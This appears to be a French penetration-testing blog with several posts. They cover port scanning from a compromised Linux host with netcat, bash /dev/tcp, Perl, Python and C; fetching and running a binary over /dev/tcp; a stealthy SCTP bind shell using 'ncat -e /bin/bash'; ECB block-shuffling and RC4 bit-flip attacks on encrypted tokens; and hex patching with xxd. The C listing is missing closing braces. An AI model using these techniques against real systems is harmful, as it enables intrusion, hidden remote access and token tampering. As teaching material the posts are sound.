jeudi 6 juillet 2017

Scanner lors d'un pivot


Scanner sans outil spécifique lors d'un pivot

Lors d'un pentest, lorsque l'auditeur obtient un shell sur un système qu'il vient de compromettre, il se retrouve sur un environnement ne disposant pas de nmap. De surcroît, il ne possède pas forcément de privilèges root. En général, le pentester n'est pas autorisé à procéder à des installations. Seule l'exécution de binaire standalone est accepté par le propriétaire du système.

En conséquence, l'auditeur doit résoudre ces différentes difficultés. Voici plusieurs façons de procéder lors d'un pivoting pour explorer les réseaux et systèmes depuis un système Linux nouvellement compromis.


Netcat

Tout d'abord, netcat (ou nc) peut être présent sur le système car il est bien souvent installé par défaut. Si c'est le cas, netcat possède une option de scan TCP (-z). Il suffit de spécifier la plage de ports et l'IP cible.

$ nc -zv <host> <port range>
$ nc -zv 192.168.1.28 1-65353 2>&1 | grep -i succeeded

Bash

Le shell bash livré par l'éditeur de la distribution peut être compilé avec le support du pseudo périphérique interne /dev/tcp. Dans ce cas, il est possible d'ouvrir des sockets directement avec bash

Pour scanner une liste de ports avec bash :

$ for i in 21 22 23 111 41998; do (echo > /dev/tcp/192.168.1.50/$i) > /dev/null 2>&1 && echo "$i/tcp open"; done
22/tcp open
111/tcp open
41998/tcp open

Pour scanner une plage de ports (ex: 1-65535):

$ for ((i=1; i<=65535; i++)); do (echo > /dev/tcp/192.168.1.50/$i) > /dev/null 2>&1 && echo "$i/tcp open"; done 
22/tcp open
111/tcp open
41998/tcp open

Bash permet d'ouvrir des descripteurs en lecture/écriture et notamment des descripteurs pointant sur des sockets.  
  1. Le premier numéro de descripteur disponible dans un shell (après stdout) est 3. 
  2. Une ouverture en lecture/écriture s'écrit  avec les caractères de redirections "<>". Pour ouvrir le descripteur de fichier n° 3 en lecture/.écriture : exec 3<>
  3. Le file descriptor est associé à une socket TCP grâce au pseudo périphérique /dev/tcp. La syntaxe est : "/dev/tcp/www.google.com/80
  4. Une écriture sur une socket est donc de la forme echo "XXX" >&3 
  5. Une lecture depuis la socket :  cat <&3
Ainsi, pour télécharger un exécutable via HTTP, il faut réaliser une écriture locale, en redirigeant la sortie vers un fichier :

$ exec 3<>/dev/tcp/pentest/80
$ echo -e "GET /portscan HTTP/1.1\r\nhost: http://pentest\r\nConnection: close\r\n\r\n" >&3
$ cat <&3 > portscan


Le fichier en sortie portscan contient le header HTTP du serveur Web :

$ hd -n 16  portscan 
00000000  48 54 54 50 2f 31 2e 30  20 32 30 30 20 4f 4b 0d  |HTTP/1.0 200 OK.|
00000010


Pour supprimer le header il faut trouver l'offset du début du fichier ELF, ici il y a 203 octets :

$ tail -c +203 portscan | hd -n 16
00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010
$ tail -c +203 portscan > portscanexe


Après troncature du header de portscan dans portscanexe, la vérification du type du fichier confirme qu'il s'agit d'un fichier exécutable de type ELF :

$ file portscanexe 
portscanexe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=37cad68ecc478440b7c9c40ec8a22dabe4e885f5, not stripped


En ajoutant les droits en exécution, il devient  possible d'exécuter le binaire et de scanner le réseau avec un programme téléchargé via bash. Le programme téléchargé utilise l'API socket standard car il effectue des hanshake TCP complet. Il ne requiert aucun droit privilégié pour l'exécution.

$ chmod +x portscanexe 
$ ./portscanexe 
Usage: ./portscanexe <ip> <start_port> <end_port>
$ ./portscanexe pentest 80 81
[*] Scanning pentest (192.168.1.73) TCP range port: 80-81
   80/tcp open
[+] Scan done.

PERL

Si l'interpréteur PERL est présent sur le système, alors un script PERL peut être utilisé pour scanner le voisinage :

$ perl portscan.pl 192.168.1.50 1 65535
[*] Scanning 192.168.1.50 for open TCP ports 1-65535...
  22/tcp  open
 111/tcp  open
41998/tcp  open
[+] Scan done.

Script portscan.pl
$ cat portscan.pl
#!/usr/bin/perl

use Socket;

$| = 1;
($ip, $port, $port_stop) = @ARGV;

if ($ip eq "")
{   &usage();
}
$port = 1 if not $port;
$port_stop = 1024 if not $port_stop;

print "[*] Scanning $ip for open TCP ports $port-$port_stop...\n";

for (; $port < $port_stop; $port += 1)
{   socket(SOCKET, PF_INET, SOCK_STREAM, 0);
   $addr = inet_aton($ip);
   $ipaddr = sockaddr_in($port, $addr);
   if (connect(SOCKET, $ipaddr))
   {   printf "%#5d/tcp  open\n", $port;
       close SOCKET || die "close: $!";
   }
}
printf "[+] Scan done.\n";

sub usage()
{   print "Usage: ./portscan.pl <host> [ <start port> ] | <stop port> ]\n";
   print "Defaults port range 1-1024 \n";
   exit 0;
}

PYTHON

Si l'interpréteur PYTHON est présent sur le système, alors un script PYTHON peut être utilisé pour scanner le voisinage, ci-dessous un code python similaire à celui en perl. :

$ cat portscan.py 
#!/usr/bin/env python

from socket import *
import sys, time
from datetime import datetime                                                       
min_port = 1
max_port = 65535
def scan_host(host, port, r_code = 1): 
    try:
        s = socket(AF_INET, SOCK_STREAM)
        code = s.connect_ex((host, port))
        if code == 0:
           r_code = code
        s.close()
    except Exception, e:
        pass
    return r_code

if len(sys.argv) == 2:
        host = sys.argv[1]
else:
        print "usage: %s <IP address>\n" % (sys.argv[0])
        sys.exit(1)

hostip = gethostbyname(host)
print "[+] Scanning %s (%s) on TCP port range %s-%s" % (host, hostip, str(min_port), str(max_port)) 
print "[+] Scanning started %s at %s" % (time.strftime("%F"), time.strftime("%H:%M:%S"))

start_time = datetime.now()

for port in range(min_port, max_port):
    try:
        response = scan_host(host, port)
        if response == 0:
            print "%#5d/tcp  open" % (port)
    except Exception, e:
        pass
stop_time = datetime.now()
total_time_duration = stop_time - start_time
total_port = max_port - min_port + 1
print "[!] Scanning finished %s at %s" % (time.strftime("%F"),time.strftime("%H:%M:%S"))
print "[!] Scanning %d ports duration: %s" % (total_port, total_time_duration) 


Exécutable ELF

La dernière option, déjà évoquée supra, est d'utiliser un exécutable ELF de petite taille, utilisant l'API socket TCP standard, sans privilège d'exécution, pour scanner les alentours en TCP connect. En l'absence d'outils locaux (y compris les sockets en bash) pour le download, il est possible de recourir à un copier/coller dans le terminal ouvert lors de la compromission via un éditeur comme vi. L'utilitaire xxd permet de convertir le fichier binaire en hexadécimal. Un copier/coller sur le système victime suivi d'une conversion inverse de hexadécimal vers binaire suffira pour procéder à un transfert.

Conversion du binaire en hexadécimal
$ xxd -p portscan 
7f454c4602010100000000000000000002003e0001000000600940000000
00004000000000000000f821000000000000000000004000380009004000
[...]
5f5f005f49544d5f7265676973746572544d436c6f6e655461626c65005f
696e697400736f636b65744040474c4942435f322e322e3500

Edition sur la cible d'un fichier texte
$ vim hex
[...]<insert> + copier/coller
$ cat hex
7f454c4602010100000000000000000002003e0001000000600940000000
00004000000000000000f821000000000000000000004000380009004000
[...]
5f5f005f49544d5f7265676973746572544d436c6f6e655461626c65005f
696e697400736f636b65744040474c4942435f322e322e3500


Conversion hexadécimale vers binaire
$ xxd -r -p hex > exe
$ file exe
exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
, for GNU/Linux 2.6.24, BuildID[sha1]=37cad68ecc478440b7c9c40ec8a22dabe4e885f5, not stripped



Exécution du fichier
$ chmod +x exe
$ ./exe pentest 20 80
[*] Scanning pentest (192.168.1.73) TCP range port: 20-80
  22/tcp open
  80/tcp open
[+] Scan done.



Code source de portscan.c
/* portscan.c
 * Build: gcc portscan.c -o portscan
 */
#include<stdio.h>
#include<sys/socket.h>
#include<errno.h>
#include<netdb.h>
#include<string.h>
#include<stdlib.h>
#include <arpa/inet.h>

void usage(char * pgm)
{    printf("Usage: %s <ip> <start_port> <end_port>\n", pgm);
         exit (1);

int get_ipaddr(char * hostname, char* ip) 
{
    struct hostent * host;     
    struct in_addr ** addr_list;     
    int i; 
       
    if ((host = gethostbyname( hostname ) ) == NULL)     
    {   herror("gethostbyname");         
        return 1;
    }     
    addr_list = (struct in_addr **) host->h_addr_list;
    for(i = 0; addr_list[i] != NULL; i++)
    {   strcpy(ip, inet_ntoa(*addr_list[i]));
        return 0;
    }
    return 1;
}
int main(int argc , char **argv)
{
    struct hostent * host;
    int              err, i, sock ,start , end;
    struct sockaddr_in sa;
    char             hostname[256];
    char             ip[128];
    if (argc != 4)
           usage(argv[0]);
     
    /* Get IP and hostname to scan */
    strcpy(hostname, argv[1]);    
    get_ipaddr(hostname, ip);

    /* Get range port */
    sscanf(argv[2], "%d" , &start);
    sscanf(argv[3], "%d" , &end);
    printf("[*] Scanning %s (%s) TCP range port: %d-%d\n", 
           hostname, ip, start, end);

    /* Initialise the sockaddr_in structure */
    strncpy((char*)&sa , "" , sizeof(sa));
    sa.sin_family = AF_INET;
     
    /* Direct ip address or resolv it */
    if (isdigit(hostname[0]))
    {   sa.sin_addr.s_addr = inet_addr(hostname);
    }
    else if ((host = gethostbyname(hostname)) != 0)
    {    strncpy((char*)&sa.sin_addr, (char*)host->h_addr , 
                 sizeof(sa.sin_addr));
    }
    else
    {   herror(hostname);
        exit(2);
    }
     
    /* Start port scan */
    for (i = start ; i <= end ; i++) 
    {
        sa.sin_port = htons(i);
        sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock < 0) 
        {   perror("[-] Error: socket");
            exit(1);
        }
        err = connect(sock , (struct sockaddr*)&sa , sizeof sa);
        if (err < 0) fflush(stdout);
        else         printf("%5d/tcp open\n",  i);      
        close(sock);
    }
     
    printf("[+] Scan done.\n");
    fflush(stdout);
    return(0);

Les scans UDP ne sont pas abordés. Néanmoins, les pentest en environnement Telecom permettent de découvrir des services sur SCTP. SCTP est une couche de transport comme TCP ou UDP utilisée pour des protocoles de signalisation Telecom pour la voix (SS7/SIGTRAN ou Diameter). SCTP est présent dans les cœurs de réseaux mobile et fixe. Du point de vue de l'attaquant, l'intérêt de SCTP est qu'un shell bindé sur un port est transparent lors de scans classiques ou sur le système avec la commande netstat (c'est de moins en moins vrai selon les distributions Linux). L'utilitaire ncat (version améliorée de netcat), permet d'utiliser SCTP en IPv4 ou IPv6 pour binder un shell sur un port.

Exemple de bind de bash sur SCTP  en IPv4:

victim$ ncat -k -l --sctp -4 -p 4444 -e /bin/bash

L'attaquant peut découvrir le port SCTP :

attacker$ ./sctp_port_scan victim 4000 5000     
[*] Scanning victim (192.168.1.50) SCTP range port: 4000-5000
4444/sctp open
[+] Scan done.

Une connexion en SCTP est possible avec ncat

attacker$ ncat --sctp victim 4444
uname -a Linux Kali 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux
whoami
user



Le code source est dérivé de celui de portscan.c avec 4 modifications (en rouge):

$ diff sctp_port_scan.c portscan.c                                
11d10
< #include <netinet/sctp.h>
15d13
<  
58c56
<     printf("[*] Scanning %s (%s) SCTP range port: %d-%d\n", hostname, ip, start, end);
---
>     printf("[*] Scanning %s (%s) TCP range port: %d-%d\n", hostname, ip, start, end);


80c78
<         sock = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
---
>         sock = socket(AF_INET, SOCK_STREAM, 0);
87c85
<         else         printf("%5d/sctp open\n",  i);
---
>         else         printf("%5d/tcp open\n",  i);  





Pour compiler, il est nécessaire d'installer au préalable la librairie libsctp-dev.

$ sudo apt-get install libsctp-dev
$ gcc stcp_portscan.c -o stcp_portscan



samedi 26 novembre 2016

Attaque ECB bloc shuffling

L'attaque sur les blocs en mode ECB (Electronic Code Book)

Les chiffrements symétriques par bloc découpent les données en blocs de taille fixe. Ces blocs sont de 128-bit pour les algorithmes récents (recommandés) ou 64-bit pour des algorithmes plus anciens comme le DES. 

Pour des raisons de sécurité, des modes liant les blocs entre eux sont recommandés (CBC, OFB, etc). Dans ces cas, les blocs subissent habituellement un chaînage entre eux selon un mode opératoire défini de façon a rendre le chiffré le plus indépendant possible des données en clair pour une même clef de chiffrement.  

Le mode ECB est l'absence de mode spécifique. L'algorithme symétrique par bloc (DES, AES, Twofish, ...) est dans ce cas appliqué directement au données sans autre traitement des blocs.



Le mode ECB est à proscrire absolument car il laisse fuir de l'information. Malheureusement, de nombreux développeurs l'utilisent par méconnaissance des risques associés à ce mode opératoire. 

La problématique est que tout bloc de données en clair donne le même bloc chiffré pour une même clef. Ce principe laisse fuir de l'information ou permet des altérations valides du chiffré. L'exemple suivant de l'image BMP chiffrée en mode ECB en AES illustre cette faiblesse.


Version plaintext

Version ciphertext

Un outil de chiffrement d'images BMP en AES-ECB est disponible là: http://www.willhackforsushi.com/code/ecb_encrypt_image.zip


La bijectivité du mode ECB expose les données chiffrées à des attaques par substitution, suppression ou ajout de blocs dans un message chiffré.



Ci-dessous, des exemples d'attaque sont réalisés en DES mode ECB. DES est utilisé parce qu'il utilise une taille de bloc de 8 octets plus facile à manipuler en mode commande, mais le principe reste le même.

L'exemple utilisé s'appuie sur le cryptogramme de la chaîne de caractères "id=123456&value=52&acct=000000178356" en DES avec la clef 0x0011223344556677:

$ echo -ne "id=123456&value=52&acct=000000178356" | openssl enc -des-ecb -K 0011223344556677 | xxd -p
34738ccb598fcaff3bf8fb2c6b1d9db312405ac7072f1c45396e156b2749f8ad6f2fcdb9d36dda57

$ echo -ne 34738ccb598fcaff3bf8fb2c6b1d9db312405ac7072f1c45396e156b2749f8ad6f2fcdb9d36dda57 | xxd -r -p | openssl enc -des-ecb -d -K 0011223344556677 ; echo
id=123456&value=52&acct=000000178356


L'attaque ECB bloc shuffling

Tout d'abord, un éclatement des chaînes clair/chiffré en bloc de 8 octets permet de mieux visualiser le principe.

$ echo -ne "id=123456&value=52&acct=000000178356" | sed 's/.\{8\}/& /g'
id=12345 6&value= 52&acct= 00000017 8356

$ echo -ne 34738ccb598fcaff3bf8fb2c6b1d9db312405ac7072f1c45396e156b2749f8ad6f2fcdb9d36dda57 | sed 's/.\{16\}/& /g'; echo
34738ccb598fcaff 3bf8fb2c6b1d9db3 12405ac7072f1c45 396e156b2749f8ad 6f2fcdb9d36dda57


Mapping des blocs

id=12345         6&value=         52&acct=         00000017         8356
34738ccb598fcaff 3bf8fb2c6b1d9db3 12405ac7072f1c45 396e156b2749f8ad 6f2fcdb9d36dda57
       1               2                 3                4               5
  
L'attaque consiste à ajouter/supprimer/réordonner des blocs. L'exemple illustré infra est d'insérer le bloc 4 après le bloc 2. Le dernier bloc doit être conservé en fin de cryptogramme car il contient le padding qui validera ou non le déchiffrement.

$ echo -ne "34738ccb598fcaff3bf8fb2c6b1d9db3396e156b2749f8ad12405ac7072f1c45396e156b2749f8ad6f2fcdb9d36dda57" | xxd -r -p | openssl enc -des-ecb -d -K 0011223344556677; echo
id=123456&value=0000001752&acct=000000178356

Le déchiffrement est correct car le dernier bloc possède toujours un padding valide.

Le résultat donne une valeur différente pour le paramètre value.
value=52 devient value=0000001752

De réelles attaques existent avec ce concept, y compris dans le monde Web ou certains paramètres (token, cookie, panier, ...) peuvent être gérés de manière stateless côté serveur en chiffrant des données dont la gestion est déléguée au navigateur du client. 

Padding PKCS#7

Dans un chiffrement par bloc, le padding sert à combler le dernier bloc pour l'aligner sur la taille du bloc. Si les données sont un multiple du bloc, alors un bloc complet de padding est ajouté. La procédure de déchiffrement contrôle la validité du padding, avant de l'extraire pour retourner les données en clair. Le padding permet de déterminer que le déchiffrement c'est passé correctement.

Plusieurs types de padding existent, mais le plus utilisé consiste à écrire le nombre d'octets de padding dans chaque octet de padding (standard PKCS#7, PKCS#5, RFC1423) :
01
02 02
03 03 03
...

Le padding du dernier bloc est visible dans la commande de déchiffrement infra qui demande de ne pas tenir compte du padding avec l'argument "-nopad". 
$ echo -ne "34738ccb598fcaff3bf8fb2c6b1d9db3396e156b2749f8ad12405ac7072f1c45396e156b2749f8ad6f2fcdb9d36dda57" | xxd -r -p | openssl enc -des-ecb -nopad -d -K 0011223344556677 | hd
00000000  69 64 3d 31 32 33 34 35  36 26 76 61 6c 75 65 3d  |id=123456&value=|
00000010  30 30 30 30 30 30 31 37  35 32 26 61 63 63 74 3d  |0000001752&acct=|
00000020  30 30 30 30 30 30 31 37  38 33 35 36 04 04 04 04  |000000178356....|
00000030

Les autres paddings

Dans le monde des cartes à puce, c'est le padding NIST 800-38a qui est couramment implémenté. Il s'agit d'un bit à 1 suivi de bit à 0. Soit 0x80 (b1000 0000).
H  e  l  l  o  ?  ?  ?
48 65 6C 6C 6f 80 00 00

Parfois, le padding consiste à valoriser l'octet par son rang, ex: 04 03 02 01
H  e  l  l  o  ?  ?  ?
48 65 6C 6C 6f 03 02 01

On rencontre également des paddings composés exclusivement du caractère nul (0x00) ou espace (0x20) lorsqu'il s'agit de texte.

H  e  l  l  o  ?  ?  ?
48 65 6C 6C 6f 00 00 00
48 65 6C 6C 6f 20 20 20


Attaque "Bit flip"

Attaque cryptographique « Bit Flip »

L’attaque Bit flip cible les cryptosystèmes de chiffrement par flot comme RC4, AES mode CTR ou A5/1. Dans ce modèle de chiffrement, un générateur produit une « suite chiffrante » continue appelée keystream.
Le keystream opère un XOR (ou exclusif) sur les données. Il s’agit d’un addition modulo 2. 


L’opération de déchiffrement consiste à procéder à la même opération entre le chiffré et le keystream pour obtenir le clair.

Soit P (plaintext), C (ciphertext) et K (keystream), on a les relations suivantes

C = K XOR P
P = K XOR C
mais aussi la relation particulière (pour info)
K = C XOR P

Les propriétés du XOR utilisé dans les chiffrements par flot permettent d’agir sur le contenu en clair en modifiant des bits du cryptogramme (ciphertext).

Exemple d’un chiffrement et déchiffrement RC4 d’une chaîne de caractère « uid=1000 » avec une clef de 128-bit 0x00112233445566778899AABBCCDDEEFF.

$ echo -n uid=1000 |openssl enc -rc4 -K 00112233445566778899AABBCCDDEEFF | xxd -p
f032c86aa31751b5

$ echo -n f032c86aa31751b5 | xxd -r -p | openssl enc -rc4 -d -K 00112233445566778899AABBCCDDEEFF; echo
uid=1000

Le cryptogramme f032c86aa31751b5 correspond au texte en clair uid=1000.
    u  i  d  =  1  0  0  0
   f0 32 c8 6a a3 17 51 b5

Si l’attaquant opère une attaque Bit Flip, il peut changer la valeur de certains octets sans que le déchiffrement soit invalide.

Bit flit 

Le mode opératoire proposé est de modifier le cryptogramme à l'aveugle. La partie simulant la boite noire ou le serveur attaqué est représentée par la commande openssl déchiffrant le cryptogramme. La commande xxd convertit la chaîne héxadimale ASCII en une suite binaire d'octets avant traitement par openssl.

$ echo -n f032c86aa21751b5 | xxd -r -p | openssl enc -rc4 -d -K 00112233445566778899AABBCCDDEEFF; echo
uid=0000

autre exemple :

$ echo -n f032c86aa21751b4 | xxd -r -p | openssl enc -rc4 -d -K 00112233445566778899AABBCCDDEEFF; echo
uid=0001

Conlusion


Cette attaque est simple et puissante. Lorsqu’un cryptogramme n'est pas protégé par une intégrité cryptographique et qu'un chiffrement par flot est employé, il est facile de modifier la valeur du clair à l'aveugle. Parfois, certains paramètres d’authentification sont chiffrés de la sorte par les applications Web. Le pentesteur peut alors agir sur la valeur du paramètre (cookie, token, …) pour obtenir des comportements interessants.

Edition hexadécimale avec vi et xxd

La commande XXD

La commande xxd permet de convertir du binaire en hexadécimal et inversement. Elle permet aussi de patcher un fichier binaire. Utilisé avec vi ou vim, xxd permet de disposer d’un éditeur hexadécimal de fortune en mode commande. Enfin, cet outil permet d’afficher au format binaire.

Afficher la représentation binaire d’octets 

Avec echo
$ echo -n 5C00FF | xxd -r -p | xxd -b
0000000: 01011100 00000000 11111111                             \...

 Avec un fichier
$ xxd -b bin        
0000000: 01011100 00000000 11111111                             \...

Edition hexadécimale

Il est possible d'utiliser vi ou vim comme éditeur héxadécimal (grâce à xxd)

Pour passer en mode éditeur hexadécimal, entrez <esc> puis :%!xxd

Pour revenir au mode initial <esc>:%!xxd -r

Patcher un fichier binaire

Pour patcher un binaire, il suffit de passer en mode édition hexadécimal puis d’ajouter, supprimer ou modifier les valeurs sur la partie hexadécimale uniquement (à gauche). La modification sur la partie ASCII n’est pas prise en compte. Ensuite il faut soit : 
  • sauvegarder soit dans un fichier externe (sans sauvegarder le fichier courant car le buffer de vi est vidé) 
  • sauvegarder le fichier courant par une conversion au format initial puis en enregistrant normalement le fichier courant

Depuis l’édition hexadécimale, la modification du fichier s’opère sur la partie hexadécimale uniquement avec <esc>:%!xxd



Le mode insertion de vi <esc>i permet de modifier le fichier, dans l’exemple ci-dessous, la séquence 46494c45 remplace 36393c35.


Pour enregistrer dans un fichier externe, il faut saisir  <esc>:%!xdd –r > newfile, mais cela vide le buffer courant de vi. 


Dans ce cas, pour conserver le fichier initial intact, il faut sortir sans enregistrer le fichier avec <esc>:q!

Voici le résultat du fichier patché dans un nouveau fichier


Pour patcher directement le fichier lui-même, il suffit de reconvertir l’édition en cours : <esc> %!xxd –r puis de sauvegarder :wq.

Edition et modification


Conversion du mode d’édition :% !xxd -r


Sauvegarde :wq


Le fichier txt est patché